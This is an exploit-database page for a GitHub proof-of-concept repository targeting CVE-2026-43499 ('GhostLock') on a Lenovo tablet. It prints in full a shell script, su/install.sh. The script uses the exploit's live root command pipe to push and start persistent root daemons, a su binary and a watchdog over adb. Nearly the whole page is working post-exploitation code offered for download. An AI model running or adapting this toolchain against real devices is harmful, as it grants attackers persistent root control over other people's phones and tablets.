Exploit database

GH-f838dcf62fc9fa430d033ea61489fdd5

wonjj6768/lenovo-tb365fc-ghostlock-cve-2026-43499

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-43499

166 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files4

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

su/install.sh

Shell · 3,054 bytes
#!/bin/sh
# install.sh — deploy rootd / su / rootmgr / rootwd and start the daemons.
#
# Prerequisite: a live GhostLock root session (the exploit's root command FIFO
# at /data/local/tmp/.rcmd). Run ../run.sh first, or use ../install_all.sh.
#
#   SERIAL=<serial> ./install.sh
set -eu
DIR="$(cd "$(dirname "$0")" && pwd)"
ADB="${ADB:-adb}"
SERIAL="${SERIAL:-}"
DEV=/data/local/tmp

adb_() { if [ -n "$SERIAL" ]; then "$ADB" -s "$SERIAL" "$@"; else "$ADB" "$@"; fi; }
fail() { echo "[!] $*" >&2; exit 1; }

# Git Bash on Windows rewrites /data/... arguments; disable and convert host paths.
export MSYS_NO_PATHCONV=1
hostpath() { if command -v cygpath >/dev/null 2>&1; then cygpath -w "$1"; else printf '%s' "$1"; fi; }

REMOTE_OUT=""; RC=0
# Run a remote command; keep its exit status and CR-stripped output.
sh_rc() { RC=0; _o="$(adb_ shell "$1" 2>/dev/null)" || RC=$?; REMOTE_OUT="$(printf '%s' "$_o" | tr -d '\r')"; }

for b in rootd su rootmgr rootwd; do
    [ -f "$DIR/bin/$b" ] || fail "$DIR/bin/$b missing; run ./build.sh first"
done

adb_ wait-for-device >/dev/null 2>&1 || true
state=""; _i=0
while [ "$_i" -lt 60 ]; do
    state="$(adb_ get-state 2>/dev/null | tr -d '\r' || true)"
    [ "$state" = "device" ] && break
    sleep 2
    _i=$((_i + 2))
done
[ "$state" = "device" ] || fail "device not ready (adb get-state='$state')"

echo "[*] check root session (FIFO)"
sh_rc "echo id > $DEV/.rcmd; sleep 1; cat $DEV/.rout"
[ "$RC" -eq 0 ] && printf '%s' "$REMOTE_OUT" | grep -q 'uid=0(root)' \
    || fail "root FIFO not live at $DEV/.rcmd (rc=$RC) — run ./run.sh first"

echo "[*] push binaries"
for b in rootd su rootmgr rootwd; do
    adb_ push "$(hostpath "$DIR/bin/$b")" "$DEV/$b" >/dev/null || fail "push $b failed"
done
adb_ shell "chmod 755 $DEV/rootd $DEV/su $DEV/rootmgr $DEV/rootwd" >/dev/null || fail "chmod failed"
for b in rootd su rootmgr rootwd; do
    adb_ shell "test -x $DEV/$b" || fail "$DEV/$b not executable after push"
done

echo "[*] stop previous rootd + watchdog"
adb_ shell "echo 'pkill rootwd; sleep 1; pkill rootd; sleep 2; true' > $DEV/.rcmd; sleep 3" >/dev/null

echo "[*] start rootd"
adb_ shell "echo '$DEV/rootd' > $DEV/.rcmd; sleep 2" >/dev/null
sh_rc "$DEV/rootmgr status"
[ "$RC" -eq 0 ] && printf '%s' "$REMOTE_OUT" | grep -q 'rootd: UP' \
    || fail "rootd did not come up (rc=$RC)"

echo "[*] start rootwd (watchdog)"
adb_ shell "echo '$DEV/rootwd' > $DEV/.rcmd; sleep 2" >/dev/null
ok=0
for i in 1 2 3 4 5; do
    sh_rc "cat $DEV/.rootwd.pid 2>/dev/null"
    wd="$REMOTE_OUT"
    if [ -n "$wd" ]; then
        sh_rc "cat /proc/$wd/comm 2>/dev/null"
        if [ "$REMOTE_OUT" = "rootwd" ]; then ok=1; break; fi
    fi
    sleep 1
done
[ "$ok" -eq 1 ] || fail "rootwd not running"

echo "[*] round-trip test (id through rootd)"
sh_rc "$DEV/rootmgr test"
[ "$RC" -eq 0 ] && printf '%s' "$REMOTE_OUT" | grep -q 'uid=0(root)' \
    || fail "rootd round-trip failed (rc=$RC)"

echo "[+] root tools installed: $DEV/{rootd,su,rootmgr,rootwd}"
echo "[+] try: adb${SERIAL:+ -s $SERIAL} shell $DEV/su -c id"